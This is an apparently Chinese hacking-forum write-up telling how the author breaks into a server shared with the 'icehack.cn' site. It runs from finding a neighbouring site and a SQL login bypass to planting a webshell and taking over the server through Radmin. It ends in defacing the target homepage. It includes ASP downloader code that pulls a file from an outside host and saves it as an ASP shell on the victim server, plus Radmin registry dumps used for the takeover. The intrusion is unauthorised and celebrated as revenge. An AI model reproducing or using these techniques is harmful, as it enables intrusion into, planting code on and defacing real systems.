渗透冰兰黑客基地
注：本人已经提交到C.R.S.T ,适合新人学习..首先是有个朋友对我说有个冰兰黑客基地，转载别人的文章还不著名作者，之后还蒙骗别人说他们能入侵国外站点. 所以就想检测一下.<br />
首先看了以下他的站点，主站和论坛.分别在不同的服务器.<br />
主站是新云的，虽然爆出很多漏洞，但是毕竟人家也是玩黑的，所以不期望能从程序漏洞拿了..<br />
论坛是php的.没仔细看，决定渗透了.<br />
一：点兵<br />
拿出旁注<br />
地址：http://www.icehack.cn<br />
IP：XX.X.XX.X（忘记了...）<br />
挖靠，N多站点....<br />
最后选择了一个公司的站点，有注射点，但是不显示错误，手工猜解是asc数据库 ...<br />
拿出HDSI扫后台，扫到后台地址为http://www.XXXXX.com/Product/manage/Manage.asp<br />
到这里的时候直接用'or'='or' 试了下. 进去了..<br />
有数据库备份和恢复. 直接传jpg的木马（大马）.传不上去，可能限制了大小.<br />
之后换小马，红狼1K大的小马，传好后备份.成功.
二：士气<br />
小马传好了，各位一定认为直接传大马 ，之后就是提权的事了吧.可惜好事多磨...<br />
传好小马之后我直接传个大马上传，但是如图1
<br />
提示错误：很抱歉，由于您提交的内容中或访问的内容中含有系统不允许的关键词，本次操作无效，系统已记录您的IP及您提交的所有数据。请注意，不要提交任何违反国家规定的内容！本次拦截的相关信息为：98424b88afb8
我以为换个大马就可以了，之后换了N个，国内的，国外的都试了.我想可能是禁止提交了，但是我提交几个字都可以提交上去，到这里，我快放弃了。<br />
但是忽然想到一哥们（烟，灭在雪里）的方法.具体如下：<br />
提交代码<br />
<%<br />
Set xPost = CreateObject("Microsoft.XMLHTTP")<br />
xPost.Open "GET","http://www.hackerchina.cn/1.txt",False<br />
xPost.Send()<br />
Set sGet = CreateObject("ADODB.Stream")<br />
sGet.Mode = 3<br />
sGet.Type = 1<br />
sGet.Open()<br />
sGet.Write(xPost.responseBody)<br />
sGet.SaveToFile Server.MapPath("1.asp"),2<br />
set sGet = nothing<br />
set sPOST = nothing<br />
%><br />
利用服务器的XML和数据流组件，从我的blog的1.txt的内容下载到目标站点根目录并保存为1.asp.<br />
我提交这段代码，保存为3.asp ，之后访问，显示空白.<br />
之后访问1.asp.如图
<br />
，成功了..<br />
三 出征<br />
已经拿到了一个webshell，就剩下提权了，但是提权一般难度要比webshell还难.如何呢？<br />
WEB服务器版本Microsoft-IIS/6.0 <br />
Scripting.FileSystemObject √ 文件操作组件 <br />
wscript.shell × 命令行执行组件 <br />
ADOX.Catalog √ ACCESS建库组件 <br />
JRO.JetEngine √ ACCESS压缩组件 <br />
Scripting.Dictionary √ 数据流上传辅助组件 <br />
Adodb.connection √ 数据库连接组件 <br />
Adodb.Stream √ 数据流上传组件 <br />
SoftArtisans.FileUp × SA-FileUp 文件上传组件 <br />
LyfUpload.UploadFile × 刘云峰文件上传组件 <br />
Persits.Upload.1 √ ASPUpload 文件上传组件 <br />
JMail.SmtpMail √ JMail 邮件收发组件 <br />
CDONTS.NewMail × 虚拟SMTP发信组件 <br />
SmtpMail.SmtpMail.1 × SmtpMail发信组件 <br />
wscript.shell × 命令行执行组件被删除.<br />
装了servU6.3 但是找不路径，没有权限访问.不可跨目录，<br />
只有C:\Program Files C:\Documents and Settings可访问，装了麦咖啡，<br />
（感谢伤心的鱼）一兄弟告诉我本地溢出，baidu了下都是控件的，感觉麻烦..<br />
继续找别的突破口，忽然看到有radmin 目录，哈哈，高兴，看来装了radmin.<br />
扫描了下端口，竟然没开43958.算了，读取下注册表 读取不了.但是radmin的目录下有3个注册表文件，下载回来研究。<br />
四 得胜<br />
Windows Registry Editor Version 5.00<br />
<br />
<br />
<br />
<br />
<br />
"1"=hex:24,00,00,00,00,00,00,00,1f,00,00,00,01,05,00,00,00,00,00,05,15,00,00,\<br />
00,99,c8,3d,4a,e9,e2,9b,3a,e1,64,8a,f8,f1,03,00,00,24,00,00,00,00,00,00,00,\<br />
1f,00,00,00,01,05,00,00,00,00,00,05,15,00,00,00,99,c8,3d,4a,e9,e2,9b,3a,e1,\<br />
64,8a,f8,ec,03,00,00,24,00,00,00,00,00,00,00,1f,00,00,00,01,05,00,00,00,00,\<br />
00,05,15,00,00,00,99,c8,3d,4a,e9,e2,9b,3a,e1,64,8a,f8,f4,01,00,00<br />
<br />
"NTAuthEnabled"=hex:00,00,00,00<br />
"Port"=hex:fe,ff,00,00<br />
"Timeout"=hex:0a,00,00,00<br />
"EnableLogFile"=hex:01,00,00,00<br />
"LogFilePath"="c:\\logfile.txt"<br />
"FilterIp"=hex:00,00,00,00<br />
"DisableTrayIcon"=hex:00,00,00,00<br />
"AutoAllow"=hex:00,00,00,00<br />
"AskUser"=hex:00,00,00,00<br />
"EnableEventLog"=hex:01,00,00,00<br />
"Parameter"=hex:b3,8f,17,d7,f9,4e,cb,96,11,26,42,bf,29,cd,a6,86<br />
Windows Registry Editor Version 5.00<br />
<br />
<br />
<br />
"showbw"=hex:01,00,00,00<br />
"ViewType"=hex:00,00,00,00<br />
"ConnectionMode"=hex:49,9c,00,00<br />
"xsize"=hex:77,01,00,00<br />
"ysize"=hex:47,01,00,00<br />
Windows Registry Editor Version 5.00<br />
<br />
<br />
<br />
"Data"=hex:35,e3,db,da,7c,ef,32,ad,2c,a5,b8,1a,4b,e2,b2,47,7b,1d,eb,05,4c,36,\<br />
0e,65,8a,ff,ec,aa,7d,63,a1,47,50,db,f2,0a,c5,a7,1d,dd,08,6b,7f,02,90,2b,b8,\<br />
6c,da,7a,96,cb,dc,c9,e2,1a,8c,4d,25,39,57,f8,ee,83<br />
以上是注册表文件的内容，<br />
提权的步骤 感谢 fhod 支持.<br />
3个注册表在本地运行之后，然后本地打开radmin设置，发现端口为65534<br />
但是密码是32位MD5，麻烦.怎么破呢..<br />
用星号密码查看器查看为 reityewi<br />
，连接.....................连接不上...郁闷了..<br />
后来才知道星号密码查看器 看到的都是这个reityewi....<br />
后来，baidu了下.找到一篇文章是直接破解radmin控制端.<br />
地址：http://www.hackerchina.cn/index/blog/post/123.html<br />
之后连接radmin....ok.连接上了..<br />
五 收兵<br />
直接找到iis.
<br />
中间还有个小插曲...<br />
管理员登陆了3389.这里再次感谢fhod，（和管理员比速度）...<br />
打开iis，找到冰兰的站点，之后传了大马上去.如图.
<br />
呵呵 之后修改了首页，但是并没有对数据进行删除，算是带点报复的友情检测
再次感谢 伤心的鱼 fhod 烟，灭在雪里提供技术支持.
<br />
頁:
[1]